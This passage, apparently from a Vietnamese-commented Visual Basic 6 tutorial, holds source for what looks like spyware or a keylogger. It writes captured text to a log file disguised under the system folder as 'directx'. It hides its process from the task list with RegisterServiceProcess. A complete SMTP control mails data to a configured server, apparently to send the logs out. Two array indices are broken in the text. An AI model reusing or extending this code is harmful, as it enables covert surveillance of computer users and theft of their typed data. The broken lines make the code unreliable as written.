path = WinDir & "\system\directx" & Day(Date) & "_" & aux & ".txt"
Open path For Output As #1
Write #1, Form1.Text1
Close #1
End Function
Public Sub RemoveProgramFromList()
Dim pid As Long, regserv As Long
pid = GetCurrentProcessId()
regserv = RegisterServiceProcess(pid, RSP_SIMPLE_SERVICE)
End Sub
3. SMTP SMTP.ctl: SMTP.ctl bao gồm SMTP (picImage) và winsock (Sock)
- Mã nguồn SMTP.ctl
Option Explicit
' ------------------------------------------------------------------------------
'
' Bao gom WinsockVB.com SMTP ActiveX UserControl v1.0
'
' ------------------------------------------------------------------------------
' ------------------------------------------------------------------------------
'
' CAC SU KIEN
'
' ------------------------------------------------------------------------------
Public Event Connected(ByVal Host As String, ByVal Port As Long)
Public Event ReceivedData(ByVal Data As String)
Public Event SentData(ByVal Data As String)
Public Event MailCompleted()
Public Event Error(ByVal Error As String)
' ------------------------------------------------------------------------------
'
' THUOC TINH CAC BIEN
'
' ------------------------------------------------------------------------------
Dim m_Server As String ' mail server host
Dim m_Port As String ' mail server port
Dim m_MailFrom As String ' from address (Dia chi nguoi gui)
Dim m_MailTo As String ' to address (Dia chi nguoi nhan)
Dim m_BCC As String ' blind carbon copy addresses
Dim m_CCC As String ' carbon copy addresses
Dim m_Subject As String ' email subject
Dim m_NameFrom As String ' from name (Ten nguoi gui)
Dim m_NameTo As String ' to name (Ten nguoi nhan)
Dim m_Body As String ' email body
Dim m_Log As String ' log of transaction
Dim LastResponse As String
' ------------------------------------------------------------------------------
'
' CAC THUOC TINH CHUNG
'
' ------------------------------------------------------------------------------
Public Property Get Server() As String
Server = m_Server
End Property
Public Property Let Server(ByVal Data As String)
m_Server = Data
End Property
Public Property Get Port() As String
Port = m_Port
End Property
Public Property Let Port(ByVal Data As String)
m_Port = Data
End Property
Public Property Get MailFrom() As String
MailFrom = m_MailFrom
End Property
Public Property Let MailFrom(ByVal Data As String)
m_MailFrom = Data
End Property
Public Property Get MailTo() As String
MailTo = m_MailTo
End Property
Public Property Let MailTo(ByVal Data As String)
m_MailTo = Data
End Property
Public Property Get BCC() As String
BCC = m_BCC
End Property
Public Property Let BCC(ByVal Data As String)
m_BCC = Data
End Property
Public Property Get CCC() As String
CCC = m_CCC
End Property
Public Property Let CCC(ByVal Data As String)
m_CCC = Data
End Property
Public Property Get Subject() As String
Subject = m_Subject
End Property
Public Property Let Subject(ByVal Data As String)
m_Subject = Data
End Property
Public Property Get NameTo() As String
NameTo = m_NameTo
End Property
Public Property Let NameTo(ByVal Data As String)
m_NameTo = Data
End Property
Public Property Get NameFrom() As String
NameFrom = m_NameFrom
End Property
Public Property Let NameFrom(ByVal Data As String)
m_NameFrom = Data
End Property
Public Property Get Body() As String
Body = m_Body
End Property
Public Property Let Body(ByVal Data As String)
m_Body = Data
End Property
Public Property Get Log() As String
Log = m_Log
End Property
Public Property Let Log(ByVal Data As String)
m_Log = Data
End Property
' ------------------------------------------------------------------------------
'
' CAC HAM VA THU TUC CHUNG
'
' ------------------------------------------------------------------------------
Public Function SendMail() As Boolean
Dim SMTPCommands(0 To 10) As String
Dim SMTPResponses(0 To 10) As String
Dim Success As Boolean
Dim i As Integer
SMTPCommands(0) = "HELO " & Me.Server
SMTPCommands(1) = "MAIL FROM:" & Me.MailFrom
SMTPCommands(2) = "RCPT TO:" & Me.MailTo
SMTPCommands(3) = "DATA"
SMTPCommands(4) = "BCC:" & Me.BCC
SMTPCommands(5) = "CCC:" & Me.CCC
SMTPCommands(6) = "SUBJECT:" & Me.Subject
SMTPCommands(7) = "TO:" & Me.NameTo
SMTPCommands(
= "FROM:" & Me.NameFrom & vbCrLf ' extra vbCrLf
SMTPCommands(9) = Me.Body & vbCrLf & "."
SMTPCommands(10) = "QUIT"
SMTPResponses(0) = "250"
SMTPResponses(1) = "250"
SMTPResponses(2) = "250"
SMTPResponses(3) = "354"
SMTPResponses(4) = ""
SMTPResponses(5) = ""
SMTPResponses(6) = ""
SMTPResponses(7) = ""
SMTPResponses(
= ""
SMTPResponses(9) = "250"
SMTPResponses(10) = "221"
' Ket noi toi Server
If ConnectToServer = False Then
RaiseEvent Error("Khong the ket noi toi Server")
Exit Function
Else
' Thong diep phan hoi khi co nguoi nhan
WaitForResponse "220"
End If
' Doi phan hoi khi co mot (moi) lenh gui di
For i = 0 To 10
' Gui lenh
SMTPSend SMTPCommands(i)
' Doi phan hoi
Success = WaitForResponse(SMTPResponses(i))
' Kiem tra neu thuc hien thanh cong
If Success = False Then
RaiseEvent Error("Loi phia Server. Kiem tra lai thuoc tinh SMTP.Log")
Exit Function
End If
Next i
' Ket thuc
RaiseEvent MailCompleted
End Function
Private Function ConnectToServer() As Boolean
' Ket noi toi host
Sock.RemoteHost = Me.Server
Sock.RemotePort = Me.Port
Sock.Connect
' Doi ket noi
Do While Sock.State <> sckConnected
DoEvents
If Sock.State = sckError Then
Exit Function
End If
Loop
' return true
ConnectToServer = True
End Function
Private Function WaitForResponse(ByVal Response As String) As Boolean
' Neu khong doi phan hoi thi ket thuc
If Response = "" Then
WaitForResponse = True
Exit Function
Else
' Nguoc lai, doi phan hoi
Do While LastResponse = ""
DoEvents
Loop
' Tra lai ket qua dung neu co su phan hoi tu Server, nguoc lai cho ket qua sai
If Response = LastResponse Then
' return true
WaitForResponse = True
' Kiem tra voi loi
Else
WaitForResponse = False
End If
End If
' Xoa bien tinh trong thoi gian ke tiep
LastResponse = ""
End Function
Private Sub SMTPSend(ByVal Data As String)
' Gui ky tu voi vbCrLf
If Sock.State = sckConnected Then
Sock.SendData Data & vbCrLf
DoEvents
End If
RaiseEvent SentData(Data)
AppendLog Data & vbCrLf
End Sub
Public Sub AppendLog(ByVal Data As String)
' them du lieu gui di
Me.Log = Me.Log & Data
End Sub
' ------------------------------------------------------------------------------
'
' CAC THU TUC VA HAM NOI BO
'
' ------------------------------------------------------------------------------
Private Sub Sock_Connect()
RaiseEvent Connected(Sock.RemoteHost, Sock.RemotePort)
End Sub
Private Sub Sock_DataArrival(ByVal bytesTotal As Long)
Dim Data As String
' Lay du lieu danh cho su phan hoi sau
Sock.GetData Data
LastResponse = Mid$(Data, 1, 3)
RaiseEvent ReceivedData(Data)
AppendLog Data
End Sub
Private Sub Sock_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
RaiseEvent Error(Description)
End Sub
Private Sub UserControl_Resize()
With UserControl
.Height = picImage.Height
.Width = picImage.Width
End With
End Sub
Public Sub ccl()
Sock.Close
End Sub
